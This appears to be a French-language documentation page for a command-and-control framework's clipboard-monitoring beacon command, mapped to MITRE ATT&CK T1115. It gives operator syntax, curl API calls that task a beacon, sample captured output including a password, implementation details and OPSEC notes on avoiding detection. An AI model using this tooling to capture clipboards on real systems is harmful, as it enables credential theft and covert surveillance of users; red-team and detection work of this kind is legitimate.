Aller au contenu

Moniteur de presse-papiers

Capturez et surveillez le presse-papiers Windows. Prend en charge les lectures ponctuelles et la surveillance continue des modifications avec des intervalles d'interrogation configurables.

ATTAQUE À ONGLET&CK

La surveillance du Presse-papiers est mappée à T1115 - Données du Presse-papiers.


Commandes

Commande Syntaxe Description
clipboard clipboard Lecture instantanée du contenu actuel du presse-papiers
clipboard start clipboard start [interval_ms] Démarrer la surveillance continue du presse-papiers
clipboard stop clipboard stop Arrêter la surveillance continue

Lecture instantanée

clipboard

Lire le contenu actuel du presse-papiers (texte uniquement, format CF_UNICODETEXT). Renvoie le texte actuel ou "(presse-papiers vide ou sans texte)" si le presse-papiers contient des données non textuelles.

Syntaxe du shell :

clipboard

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "clipboard"}'

Scripts CNA :

bclipboard($bid);

Surveillance continue

clipboard start [interval_ms]

Démarrez un moniteur de presse-papiers en arrière-plan qui recherche les modifications à un intervalle configurable. Lorsqu'un nouveau texte est détecté, il est horodaté et ajouté à un fichier de sortie dans %TEMP%.

Paramètre Type Obligatoire Par défaut Description
interval_ms int Non 1000 Intervalle d'interrogation en millisecondes

Syntaxe du shell :

clipboard start
clipboard start 500

Exemple d'API :

curl -s -X POST "https://stentor.app/api/v1/cockpit/beacons/$BEACON_ID/shell" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"command": "clipboard start 500"}'

Exemple de résultat :

Clipboard monitor started, interval=500ms, output=C:\Users\labuser\AppData\Local\Temp\clipboard_20260219_143022.txt

Le fichier de sortie contient des entrées horodatées uniquement lorsque le contenu du presse-papiers change :

--- Clipboard monitor started at 2026-02-19T14:30:22Z ---
[2026-02-19T14:30:23Z] Password123!
[2026-02-19T14:31:45Z] \\DC01\SYSVOL\corp.local
[2026-02-19T14:32:10Z] SELECT * FROM users WHERE admin=1
--- Clipboard monitor stopped at 2026-02-19T14:35:00Z ---

clipboard stop

Arrêtez le moniteur du presse-papiers en arrière-plan.

Syntaxe du shell :

clipboard stop

Comment ça marche

  1. One-shot (get) : Ouvre le presse-papiers via OpenClipboard(), lit le texte avec GetClipboardData(CF_UNICODETEXT), convertit UTF-16 en chaîne Go à l'aide de GlobalLock/GlobalUnlock et ferme le presse-papiers.
  2. Continu (start) : Génère une goroutine qui interroge le presse-papiers à l'intervalle configuré. Enregistre uniquement les entrées lorsque le contenu change (détection de changement). Écrit des entrées horodatées dans un fichier de sortie dans %TEMP%
  3. Stop : Ferme le canal d'arrêt, mettant ainsi fin à la goroutine d'interrogation. Le fichier de sortie est finalisé avec un horodatage de fin

Considérations OPSEC

  • Appels OpenClipboard / GetClipboardData depuis user32.dll -- ces appels d'API provenant de processus inhabituels peuvent être signalés
  • La surveillance continue crée un fichier sur le disque dans %TEMP% avec le contenu du presse-papiers
  • Aucune création de nouveau processus : tous les accès au presse-papiers se font en ligne dans le processus de beacon.
  • La détection des modifications évite les écritures excessives (enregistre uniquement lorsque le contenu diffère du dernier sondage)
  • MITRE ATT&CK : T1115 (Données du Presse-papiers)